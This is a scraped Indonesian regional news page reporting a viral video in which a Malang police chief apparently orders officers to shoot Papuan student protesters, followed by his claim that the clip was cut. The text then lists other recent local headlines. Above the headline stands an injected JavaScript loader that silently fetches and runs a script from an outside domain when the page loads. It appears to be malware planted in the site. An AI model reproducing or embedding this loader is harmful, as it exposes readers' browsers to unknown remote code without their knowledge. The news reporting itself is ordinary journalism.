(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
HEADLINE

Viral Instruksi Polisi Tembak Mahasiswa Papua di Malang


KANALKALIMANTAN.COM – Beredar viral video diduga Kapolresta Malang Kota Kombes Pol Leonardus Simarmata menginstruksikan anggotanya tembak mahasiswa Papua.

Video itu salahsatunya diunggah Veronica Koman melalui akun Twitternya, Selasa (9/3/2021).

Dalam video berdurasi 23 detik itu terdengar suara diduga Kombes Pol Leonardus menginstruksikan anggotanya tembak mahasiswa Papua yang diketahui sedang memprotes penangkapan beberapa kawan aktivis tergabung dalam Aliansi Mahasiswa Papua (AMP) di depan Mapolresta Malang Kota, Senin malam (8/3/2021). Penangkapan itu buntut ricuh aksi unjuk rasa dalam rangka peringatan International Women’s Day (IWD).

“Halal darahnya, tembak,” dikutip suara.com dalam video tersebut.

 

“Last night: police chief in Malang (Java) to West Papuan students outside the police station demanding their detained #IWD2021 rally friend to be released: “You are a legitimate target! Shoot! If you enter here, you are a legitimate target!” (“Kamu halal darahnya! Tembak!”),” tulis Veronica Koman.

Sementara itu, Kombes Pol Leonardus tak menampik viral video tersebut adalah dirinya. Memang ujaran atau instruksi tersebut dari dirinya. Namun, menurut Leonardus, dilakukan untuk penegasan kepada mahasiswa (AMP) yang mencoba masuk ke Mapolresta Malang Kota, Senin (8/3/2021) malam.

“Saya sudah sampaikan itu videonya dipotong jadi yang benar adalah mereka merangsek masuk ke dalam satuan saya. Itu pintu kan ditutup tapi mereka memaksa masuk. Itu yang terjadi jadi itu video dipotong,” kata akrab disapa Leo ini.

Leo melanjutkan, karena mahasiswa memaksa masuk itu, Ia terpaksa melontarkan ujaran tegas tersebut.

“Tidak boleh masuk kalau masuk ada aturannya kita punya SOP markas itu ada, kalau yang mau merusak markas mencoba masuk, pasti kita lakukan tindakan tegas itu tadi,” tutur dia.

Leo pun mengatakan, ia mempunyai video lengkap bagaimana kejadian waktu ujaran tersebut dikatakan.

“Jadi itu dipotong saja. Saya punya video lengkapnya. Karena kalau dipotong-potong jadi akan (berbeda persepsinya),” tutup dia. (suara.com)


Al Ghifari

Recent Posts

Langganan Luapan Air di Ruas Jalan Mistar Cokrokusomo Cempaka

KANALKALIMANTAN.COM, BANJARBARU - Genangan air yang merendam hingga ke Jalan Mistar Cokrokusumo, Kecamatan Cempaka, Kota… Read More

6 bulan ago

22 Januari: Asal Usul Hari Pejalan Kaki Nasional

KANALKALIMANTAN.COM - Setiap tanggal 22 Januari, diperingati Hari Pejalan Kaki Nasional sebagai bentuk penghormatan terhadap… Read More

6 bulan ago

Selewengkan Dana Program Kader Sosial HST, Terdakwa Ajukan Keberatan

KANALKALIMANTAN.COM, BANJARMASIN - Terdakwa kasus korupsi dana kader sosial pada Dinas Sosial (Dinsos) Kabupaten Hulu… Read More

6 bulan ago

Curah Hujan Diprediksi Masih Tinggi, BPBD Banjarbaru Catat 169 Rumah Terendam Banjir

KANALKALIMANTAN.COM, BANJARBARU – Badan Meteorologi, Klimatologi, dan Geofisika (BMKG) memprediksi potensi cuaca ekstrem di Kalimantan… Read More

6 bulan ago

Banjir Rob Masih Jadi Ancaman Warga Banjarmasin

KANALKALIMANTAN.COM, BANJARMASIN - Banjir rob akibat pasang surut air dan curah hujan tinggi masih menerjang… Read More

6 bulan ago

Hujan Diprediksi Hingga Maret 2025, BPBD Banjar Imbau Masyarakat Waspada

KANALKALIMANTAN.COM, MARTAPURA - Curah hujan ekstrem yang terjadi beberapa hari terakhir mengakibatkan genangan air terjadi… Read More

6 bulan ago

This website uses cookies.